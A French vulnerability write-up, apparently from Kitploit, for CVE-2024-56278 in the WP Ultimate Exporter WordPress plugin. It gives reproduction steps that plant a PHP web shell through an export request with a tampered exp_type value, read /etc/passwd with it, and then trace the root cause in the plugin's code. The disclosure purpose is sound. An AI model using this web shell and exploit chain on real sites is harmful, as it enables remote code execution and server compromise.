4️⃣ Prérequis

Administrateur

5️⃣ Détails de la vulnérabilité

👉 Description courte

Le plugin WP Ultimate Exporter est un module complémentaire du plugin WP Ultimate CSV Importer. Ce plugin permet d'exporter toutes les données des articles, produits, commandes, remboursements et utilisateurs aux formats CSV, XLS, XML et JSON. Lors de l'exportation, des fichiers sont créés dans le chemin de téléversement, et le plugin ne fait que fournir le contenu de ces fichiers aux utilisateurs.

Dans les versions 2.9.1 et antérieures du plugin WP Ultimate Exporter, lors d'une demande d'exportation de données, si l'extension de fichier dans les données de la requête est définie sur PHP, un fichier PHP est créé dans le chemin de téléversement. Par conséquent, si le contenu du fichier créé contient une syntaxe PHP, une vulnérabilité d'exécution de code à distance (RCE) se produit lorsque la syntaxe PHP est exécutée lors de l'accès à ce fichier.

👉 Comment reproduire (PoC)

⚠️ Étant donné que le plugin « WP Ultimate Exporter » est un module complémentaire du plugin « WP Ultimate CSV Importer », les deux plugins doivent être installés.

1. Créez un nouvel article à l'aide de l'éditeur de code (raccourci clavier : ⇧ ⌥ ⌘ M) avec le contenu suivant :

   root@kitploit:~

   <pre>
   	<?php
   	    if(isset($_GET['cmd']))
   	    {
   	        system($_GET['cmd']);
   	    }
   	?>
   </pre>
   

2. Accédez à l'onglet « Export » du plugin WP Ultimate Exporter. Celui-ci est accessible en cliquant sur l'onglet « Export » dans le tableau de bord du plugin WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).

3. Lancez un outil proxy (par exemple, BurpSuite) pour intercepter les paquets de requêtes, puis poursuivez les étapes suivantes avec l'interception activée.

4. Ensuite, sélectionnez « Posts » dans « Select the module to Export Data » et passez à l'étape suivante.

1. Puis, dans « To export data based on the filters », définissez les éléments suivants et cliquez sur le bouton « EXPORT ».
   • Export File Name Saisissez « webshell »
   • Advanced Settings Sélectionnez « CSV »

1. À ce stade, une requête de méthode POST est envoyée à l'URL /wp-admin/admin-ajax.php pour exporter les données. Modifiez la valeur exp_type dans les données de la requête de csv à php, puis cliquez sur Forward.

1. Saisissez /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd dans la barre d'adresse du navigateur pour afficher le contenu du fichier /etc/passwd sur le serveur où WordPress est installé. Cela démontre la vulnérabilité RCE.

👉 Informations supplémentaires (facultatif)

[Cause de la vulnérabilité]

Lors de l'exportation des données dans le plugin WP Ultimate Exporter, la fonction parseData du fichier /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php est appelée.

À ce stade, aucun filtrage n'est effectué sur les données de la requête exp_type qui déterminent le format des données d'exportation, et la valeur est directement insérée dans la variable membre $this->exportType.

Ensuite, la fonction proceedExport est appelée pour enregistrer les données dans un fichier. À ce stade, lors de l'initialisation de la variable $file qui spécifie le chemin de stockage du fichier, la variable membre $this->exportType est également utilisée sans aucun filtrage.

Ensuite, le chemin du fichier stocké dans la variable $file est transmis comme argument à la fonction file_put_contents, et à ce stade, le fichier est enregistré avec l'extension spécifiée dans les données de la requête exp_type étant directement appliquée.

Par conséquent, lorsque des données d'article contenant du code Web Shell sont enregistrées sous forme de fichier PHP et que ce fichier est consulté, une vulnérabilité d'exécution de code à distance (RCE) se produit car le code PHP est exécuté.

[Implémentation et exécution du code PoC]

1. Ouvrez le code PoC dans un éditeur et saisissez l'adresse du site WordPress et les identifiants administrateur.

1. Saisissez ensuite la commande suivante pour exécuter le code PoC.

   Module requis requests

   root@kitploit:~

   python poc.py
   

   

6️⃣ Démonstration de l'exploit

7️⃣ Références

• https://nvd.nist.gov/vuln/detail/CVE-2024-56278